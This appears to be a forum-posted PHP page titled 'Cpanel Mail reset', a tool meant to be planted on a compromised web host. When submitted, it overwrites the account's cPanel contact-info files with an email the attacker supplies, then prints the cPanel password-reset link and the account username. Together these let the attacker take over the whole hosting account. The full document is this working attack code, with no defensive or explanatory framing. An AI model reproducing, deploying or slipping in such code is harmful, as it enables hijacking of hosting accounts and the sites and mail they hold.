Code:
<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8">
<meta name="viewport" content="width=device-width, initial-scale=1">
<title>Cpanel Mail reset</title>
<style type="text/css">
form{
border-radius: 10px;
border: 2px solid white ;
padding: 8px 4px;width: 50%;
line-height: 34px;
}
</style>
</head>
<body>
<center>
<form method="post">
<table>
<tr>
<td><input placeholder="E-mail" type="mail" name="email"></td><td><button type="submit">Reset</button></td>
</tr>
<tr>
<td colspan="2"><?php
if(isset($_POST['email'])){
$email = $_POST['email'];
$wr = 'email:'.$email;
$f = fopen('/home/'.get_current_user().'/.cpanel/contactinfo', 'w');
fwrite($f, $wr);
fclose($f);
$f = fopen('/home/'.get_current_user().'/.contactinfo', 'w');
fwrite($f, $wr);
fclose($f);
$link = $_SERVER['HTTP_HOST'].':2082/resetpass?start=1';
echo '<center><a href="http://'.$link.'">'.$link.'</a></center><br>';
echo '<center>Username:'.get_current_user().'</center>';
}
?>
</td>
</tr>
</table>
</form>
</center>
</body>
</html>